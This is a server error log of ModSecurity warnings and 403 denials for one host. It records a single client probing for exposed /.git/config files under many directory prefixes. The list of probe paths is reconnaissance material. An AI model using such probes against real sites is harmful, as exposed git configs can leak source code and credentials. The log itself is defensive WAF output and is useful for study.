[Wed Sep 04 15:26:28.722477 2024] [:error] [pid 1668041] [client 45.135.232.70:53262] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /git/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;ZthgBNyptEyCxv2bjOmTSQAAAAQ&quot;]
[Wed Sep 04 15:26:28.723127 2024] [:error] [pid 1668041] [client 45.135.232.70:53262] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;ZthgBNyptEyCxv2bjOmTSQAAAAQ&quot;]
[Wed Sep 04 15:26:28.723292 2024] [:error] [pid 1668042] [client 45.135.232.70:53314] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;ZthgBGI5LdyeeUHh3JqzzAAAAAU&quot;]
[Wed Sep 04 15:26:28.723576 2024] [:error] [pid 1668041] [client 45.135.232.70:53262] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;ZthgBNyptEyCxv2bjOmTSQAAAAQ&quot;]
[Wed Sep 04 15:26:28.723620 2024] [:error] [pid 1668042] [client 45.135.232.70:53314] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;ZthgBGI5LdyeeUHh3JqzzAAAAAU&quot;]
[Wed Sep 04 15:26:28.739820 2024] [:error] [pid 1668037] [client 45.135.232.70:53282] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /a/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/a/.git/config&quot;] [unique_id &quot;ZthgBAQw0y6bHlDZzc_ypQAAAAA&quot;]
[Wed Sep 04 15:26:28.740250 2024] [:error] [pid 1668037] [client 45.135.232.70:53282] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/a/.git/config&quot;] [unique_id &quot;ZthgBAQw0y6bHlDZzc_ypQAAAAA&quot;]
[Wed Sep 04 15:26:28.740549 2024] [:error] [pid 1668037] [client 45.135.232.70:53282] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/a/.git/config&quot;] [unique_id &quot;ZthgBAQw0y6bHlDZzc_ypQAAAAA&quot;]
[Wed Sep 04 15:26:28.747531 2024] [:error] [pid 1669687] [client 45.135.232.70:53344] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /new/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.git/config&quot;] [unique_id &quot;ZthgBLjC_0gXYx9o8kVRDgAAAAc&quot;]
[Wed Sep 04 15:26:28.748080 2024] [:error] [pid 1669687] [client 45.135.232.70:53344] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.git/config&quot;] [unique_id &quot;ZthgBLjC_0gXYx9o8kVRDgAAAAc&quot;]
[Wed Sep 04 15:26:28.748513 2024] [:error] [pid 1669687] [client 45.135.232.70:53344] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.git/config&quot;] [unique_id &quot;ZthgBLjC_0gXYx9o8kVRDgAAAAc&quot;]
[Wed Sep 04 15:26:28.760195 2024] [:error] [pid 1668040] [client 45.135.232.70:53318] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /build/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.git/config&quot;] [unique_id &quot;ZthgBFJ05zQv9GkBJzvFMQAAAAM&quot;]
[Wed Sep 04 15:26:28.760555 2024] [:error] [pid 1668040] [client 45.135.232.70:53318] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.git/config&quot;] [unique_id &quot;ZthgBFJ05zQv9GkBJzvFMQAAAAM&quot;]
[Wed Sep 04 15:26:28.760845 2024] [:error] [pid 1668040] [client 45.135.232.70:53318] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.git/config&quot;] [unique_id &quot;ZthgBFJ05zQv9GkBJzvFMQAAAAM&quot;]
[Wed Sep 04 15:26:28.777723 2024] [:error] [pid 1668039] [client 45.135.232.70:53370] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /old-cuburn/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old-cuburn/.git/config&quot;] [unique_id &quot;ZthgBAns1omtyxaAJPy6ZQAAAAI&quot;]
[Wed Sep 04 15:26:28.778470 2024] [:error] [pid 1668039] [client 45.135.232.70:53370] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old-cuburn/.git/config&quot;] [unique_id &quot;ZthgBAns1omtyxaAJPy6ZQAAAAI&quot;]
[Wed Sep 04 15:26:28.779601 2024] [:error] [pid 1668038] [client 45.135.232.70:53354] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /node_modules/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.git/config&quot;] [unique_id &quot;ZthgBD3fPta-nmxGgwCrugAAAAE&quot;]
[Wed Sep 04 15:26:28.779996 2024] [:error] [pid 1668038] [client 45.135.232.70:53354] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.git/config&quot;] [unique_id &quot;ZthgBD3fPta-nmxGgwCrugAAAAE&quot;]
[Wed Sep 04 15:26:28.780381 2024] [:error] [pid 1668038] [client 45.135.232.70:53354] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.git/config&quot;] [unique_id &quot;ZthgBD3fPta-nmxGgwCrugAAAAE&quot;]
[Wed Sep 04 15:26:28.780975 2024] [:error] [pid 1668039] [client 45.135.232.70:53370] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old-cuburn/.git/config&quot;] [unique_id &quot;ZthgBAns1omtyxaAJPy6ZQAAAAI&quot;]
[Wed Sep 04 15:26:28.783334 2024] [:error] [pid 1669081] [client 45.135.232.70:53382] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /qa/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.git/config&quot;] [unique_id &quot;ZthgBBgJ4MEPOnpEXQ6-JAAAAAY&quot;]
[Wed Sep 04 15:26:28.783691 2024] [:error] [pid 1669081] [client 45.135.232.70:53382] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.git/config&quot;] [unique_id &quot;ZthgBBgJ4MEPOnpEXQ6-JAAAAAY&quot;]
[Wed Sep 04 15:26:28.783858 2024] [:error] [pid 1669081] [client 45.135.232.70:53382] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.git/config&quot;] [unique_id &quot;ZthgBBgJ4MEPOnpEXQ6-JAAAAAY&quot;]
[Wed Sep 04 15:26:28.839739 2024] [:error] [pid 1668042] [client 45.135.232.70:53384] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /aomanalyzer/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aomanalyzer/.git/config&quot;] [unique_id &quot;ZthgBGI5LdyeeUHh3JqzzQAAAAU&quot;]
[Wed Sep 04 15:26:28.843145 2024] [:error] [pid 1668041] [client 45.135.232.70:53378] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;ZthgBNyptEyCxv2bjOmTSgAAAAQ&quot;]
[Wed Sep 04 15:26:28.843721 2024] [:error] [pid 1668041] [client 45.135.232.70:53378] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;ZthgBNyptEyCxv2bjOmTSgAAAAQ&quot;]
[Wed Sep 04 15:26:28.844132 2024] [:error] [pid 1668041] [client 45.135.232.70:53378] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;ZthgBNyptEyCxv2bjOmTSgAAAAQ&quot;]
[Wed Sep 04 15:26:28.844973 2024] [:error] [pid 1668042] [client 45.135.232.70:53384] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aomanalyzer/.git/config&quot;] [unique_id &quot;ZthgBGI5LdyeeUHh3JqzzQAAAAU&quot;]
[Wed Sep 04 15:26:28.845172 2024] [:error] [pid 1668042] [client 45.135.232.70:53384] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aomanalyzer/.git/config&quot;] [unique_id &quot;ZthgBGI5LdyeeUHh3JqzzQAAAAU&quot;]
[Wed Sep 04 15:26:28.851026 2024] [:error] [pid 1668037] [client 45.135.232.70:53404] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /repository/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;ZthgBAQw0y6bHlDZzc_ypgAAAAA&quot;]
[Wed Sep 04 15:26:28.851662 2024] [:error] [pid 1668037] [client 45.135.232.70:53404] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;ZthgBAQw0y6bHlDZzc_ypgAAAAA&quot;]
[Wed Sep 04 15:26:28.852092 2024] [:error] [pid 1668037] [client 45.135.232.70:53404] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;ZthgBAQw0y6bHlDZzc_ypgAAAAA&quot;]
[Wed Sep 04 15:26:28.859528 2024] [:error] [pid 1669687] [client 45.135.232.70:53414] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /s3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;ZthgBLjC_0gXYx9o8kVRDwAAAAc&quot;]
